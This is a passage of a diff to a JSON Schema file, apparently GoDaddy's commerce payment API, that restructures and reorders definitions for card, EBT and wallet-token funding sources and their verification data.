payment", - "properties": { - "alternateFundingSource": { - "description": "Alternate funding source", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Funding Source", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Payment Card", - "type": "object", - "properties": { - "cardDetail": { - "description": "Card detail", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Detail", - "type": "object", - "properties": { - "number": { - "type": "string", - "description": "Card number" - }, - "type": { - "type": "string", - "enum": [ - "VISA", - "MASTERCARD", - "AMERICAN_EXPRESS", - "DISCOVER" - ], - "description": "Type of the card" - }, - "source": { - "type": "string", - "description": "Source of the card", - "enum": [ - "DIRECT", - "APPLE_PAY", - "GOOGLE_PAY" - ] - }, - "track1Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 1 data" - }, - "track2Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 2 data" - }, - "track3Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 3 data" - }, - "firstName": { - "type": "string", - "description": "First name of card holder" - }, - "lastName": { - "type": "string", - "description": "Last name of card holder" - }, - "expMonth": { - "type": "integer", - "minimum": 1, - "maximum": 12 - }, - "expYear": { - "type": "integer", - "minimum": 2000, - "maximum": 9999 - }, - "sequenceNumber": { - "type": "string", - "writeOnly": true, - "description": "Sequence number to distinguish between 2 cards with same PAN." - }, - "serviceCode": { - "type": "string", - "writeOnly": true, - "description": "Track data read from card" - }, - "encrypted": { - "type": "boolean", - "default": true, - "description": "True if the card number is encrypted", - "writeOnly": true - }, - "keySerialNumber": { - "type": "string", - "writeOnly": true, - "description": "For DUKPT encryption" - }, - "entryDetails": { - "description": "Card entry details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Entry Detail", - "type": "object", - "properties": { - "iccFallback": { - "type": "boolean", - "description": "indicates whether there was a fallback to MSR from EMV", - "default": false, - "writeOnly": true - }, - "entryMethod": { - "type": "string", - "description": "Entry mode for the card", - "enum": [ - "KEYED", - "MSR", - "CL_MSR", - "ICC", - "CL_ICC" - ] - }, - "customerPresent": { - "type": "boolean", - "description": "Indicates whether customer was present during transaction", - "default": false - } - } - }, - "interacMacDetail": { - "writeOnly": true, - "description": "Card Interacmac details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Interac Mac", - "type": "object", - "properties": { - "interacMac": { - "type": "string", - "description": "Interac mac details for canada based cards" - }, - "interacMacKSN": { - "type": "string", - "description": "Interac mac key serial number for canada based cards" - } - }, - "required": [ - "interacMac", - "interacMacKSN" - ] - }, - "emvTags": { - "writeOnly": true, - "description": "Card EMV tags", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } + "eVoucherApprovalCode": { + "type": "string" + }, + "eVoucherSerial": { + "type": "string" + } + }, + "required": [ + "cardDetail", + "cardType" + ], + "title": "EBT Card", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/gdpayment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" }, - "required": [ - "type", - "number", - "source" - ] + "propertyName": "type" }, - "cardVerificationData": { - "writeOnly": true, - "description": "Verification data that can be used to verify the customer information", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } }, - "cryptogram": { - "type": "string" - } + "type": "object", + "writeOnly": true } - } - } - }, - "processingInstruction": { - "writeOnly": true, - "description": "Processing instruction to use this funding source", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/card-processing-instruction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processing Instruction", - "type": "object", - "properties": { - "signatureRequired": { - "type": "boolean", - "default": false, - "description": "If signature is required for this transaction" - }, - "debit": { - "type": "boolean", - "default": false, - "description": "If card should be processed as debit or not" - } - } - } - }, - "required": [ - "cardDetail" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/ebt-card.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "EBT Card", - "type": "object", - "properties": { - "cardDetail": { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Detail", - "type": "object", - "properties": { - "number": { - "type": "string", - "description": "Card number" - }, - "type": { - "type": "string", - "enum": [ - "VISA", - "MASTERCARD", - "AMERICAN_EXPRESS", - "DISCOVER" - ], - "description": "Type of the card" - }, - "source": { - "type": "string", - "description": "Source of the card", - "enum": [ - "DIRECT", - "APPLE_PAY", - "GOOGLE_PAY" - ] - }, - "track1Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 1 data" - }, - "track2Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 2 data" - }, - "track3Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 3 data" - }, - "firstName": { - "type": "string", - "description": "First name of card holder" - }, - "lastName": { - "type": "string", - "description": "Last name of card holder" - }, - "expMonth": { - "type": "integer", - "minimum": 1, - "maximum": 12 - }, - "expYear": { - "type": "integer", - "minimum": 2000, - "maximum": 9999 - }, - "sequenceNumber": { - "type": "string", - "writeOnly": true, - "description": "Sequence number to distinguish between 2 cards with same PAN." - }, - "serviceCode": { - "type": "string", - "writeOnly": true, - "description": "Track data read from card" - }, - "encrypted": { - "type": "boolean", - "default": true, - "description": "True if the card number is encrypted", - "writeOnly": true }, - "keySerialNumber": { - "type": "string", - "writeOnly": true, - "description": "For DUKPT encryption" - }, - "entryDetails": { - "description": "Card entry details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Entry Detail", - "type": "object", - "properties": { - "iccFallback": { - "type": "boolean", - "description": "indicates whether there was a fallback to MSR from EMV", - "default": false, - "writeOnly": true - }, - "entryMethod": { - "type": "string", - "description": "Entry mode for the card", - "enum": [ - "KEYED", - "MSR", - "CL_MSR", - "ICC", - "CL_ICC" - ] + "title": "Card VerificationData", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } }, - "customerPresent": { - "type": "boolean", - "description": "Indicates whether customer was present during transaction", - "default": false - } + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" } }, - "interacMacDetail": { - "writeOnly": true, - "description": "Card Interacmac details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Interac Mac", - "type": "object", - "properties": { - "interacMac": { - "type": "string", - "description": "Interac mac details for canada based cards" - }, - "interacMacKSN": { - "type": "string", - "description": "Interac mac key serial number for canada based cards" - } - }, - "required": [ - "interacMac", - "interacMacKSN" - ] - }, - "emvTags": { - "writeOnly": true, - "description": "Card EMV tags", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } + "title": "Token VerificationData", + "type": "object" + } + ], + "properties": { + "type": { + "description": "Discriminator type", + "type": "string" + } + }, + "required": [ + "type" + ], + "title": "VerificationData", + "type": "object" + } + }, + "title": "PaymentTokenFundingSource", + "type": "object" + } + ], + "properties": { + "token": { + "description": "Godaddy Payment token", + "type": "string", + "writeOnly": true + } + }, + "required": [ + "token" + ], + "title": "GoDaddy PaymentToken", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/applepay-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" }, - "required": [ - "type", - "number", - "source" - ] + "propertyName": "type" }, - "cardVerificationData": { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true + } }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" + "title": "Card VerificationData", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } }, - "cryptogram": { - "type": "string" - } + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" } - } + }, + "title": "Token VerificationData", + "type": "object" + } + ], + "properties": { + "type": { + "description": "Discriminator type", + "type": "string" } }, - "cardType": { - "type": "string", - "enum": [ - "FOOD_STAMP", - "CASH_BENEFIT", - "ELECTRONIC_VOUCHER" - ] - }, - "eVoucherSerial": { - "type": "string" - }, - "eVoucherApprovalCode": { - "type": "string" - } - }, - "required": [ - "cardDetail", - "cardType" - ] + "required": [ + "type" + ], + "title": "VerificationData", + "type": "object" + } }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/gdpayment-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GoDaddy PaymentToken", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", - "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - } + "title": "PaymentTokenFundingSource", + "type": "object" + } + ], + "properties": { + "token": { + "description": "Apple pay token", + "type": "string", + "writeOnly": true + } + }, + "required": [ + "token" + ], + "title": "ApplePayPaymentToken", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/google-pay-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" } - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" }, - "properties": { - "type": { - "type": "string", - "description": "Discriminator type" - } + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true }, - "required": [ - "type" - ] - } - } - } - ], - "properties": { - "token": { - "type": "string", - "description": "Godaddy Payment token", - "writeOnly": true - } - }, - "required": [ - "token" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/applepay-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ApplePayPaymentToken", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", - "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } - } + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" } }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - } + "type": "object", + "writeOnly": true + } + }, + "title": "Card VerificationData", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" } - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } - }, - "properties": { - "type": { - "type": "string", - "description": "Discriminator type" - } - }, - "required": [ - "type" - ] - } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + } + }, + "title": "Token VerificationData", + "type": "object" } - } - ], - "properties": { - "token": { - "type": "string", - "description": "Apple pay token", - "writeOnly": true - } - }, - "required": [ - "token" - ] + ], + "properties": { + "type": { + "description": "Discriminator type", + "type": "string" + } + }, + "required": [ + "type" + ], + "title": "VerificationData", + "type": "object" + } }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/google-pay-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GooglePayPaymentToken", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", - "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } - } + "title": "PaymentTokenFundingSource", + "type": "object" + } + ], + "properties": { + "token": { + "description": "Google pay token", + "type": "string", + "writeOnly": true + } + }, + "required": [ + "token" + ], + "title": "GooglePayPaymentToken", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/paypal-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": 